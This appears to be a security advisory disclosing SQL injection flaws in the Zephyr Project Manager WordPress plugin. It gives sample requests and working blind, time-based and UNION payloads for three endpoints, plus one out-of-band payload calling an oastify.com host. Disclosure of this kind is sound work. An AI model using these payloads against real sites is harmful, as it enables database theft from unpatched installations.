Wordpress Plugin Zephyr Project Manager < 3.2.5 — Multiple Unauthenticated SQLi
2 min readOct 3, 2023
Description
Zephyr Project Manager is a plug-in that helps you manage and get things done effectively, all your projects and tasks.
It has been determined that the data coming from the input field in most places throughout the application are used in the query without any sanitize and validation.
The details of the discovery are given below.
Proof of Concept (PoC)
The details of the various SQL Injection on the application are given below.
Endpoint of Get Project Data
Sample Request :
POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=zephyr_project_manager_projects
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
action=zpm_view_project&project_id=1&zpm_nonce=22858bf3a7
Payload :
---
Parameter: project_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=zpm_view_project&project_id=1 AND 4923=4923&zpm_nonce=22858bf3a7
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
Payload: action=zpm_view_project&project_id=1 OR (SELECT 7464 FROM (SELECT(SLEEP(20)))EtZW)&zpm_nonce=22858bf3a7
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: action=zpm_view_project&project_id=-4909 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a7071,0x6264514e6e4944795a6f6e4a786a6e4d4f666255434d6a5553526e43616e52576c75774743434f67,0x71786b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&zpm_nonce=22858bf3a7
---
Endpoint of Get Task Data
Sample Request :
POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=zephyr_project_manager_tasks
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 51
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
task_id=1&action=zpm_view_task&zpm_nonce=22858bf3a7
Payload :
---
Parameter: task_id (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: task_id=1 AND (SELECT 5365 FROM (SELECT(SLEEP(20)))AdIX)&action=zpm_view_task&zpm_nonce=22858bf3a7
---
Endpoint of New Task
Sample Request :
POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=zephyr_project_manager_tasks
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 337
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
task_name=test&task_description=test&task_project=1&task_due_date=&task_start_date=&team=0&priority=priority_none&status=test&type=default&recurrence%5Btype%5D=default&parent-id=-1&action=zpm_new_task&zpm_nonce=22858bf3a7
Payload :
---
Parameter: task_project (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: task_name=test&task_description=test&task_project=1 AND (SELECT 3078 FROM (SELECT(SLEEP(20)))VQSp)&task_due_date=&task_start_date=&team=0&priority=priority_none&status=rrrr-declare-q-varchar-99-set-q-727aho78zk9gcoyi8asqud6osfy9m0io9hx9kz8o-oasti-fy-com-tny-exec-master-dbo-xp-dirtree-q&type=default&recurrence[type]=default&parent-id=-1&action=zpm_new_task&zpm_nonce=22858bf3a7
---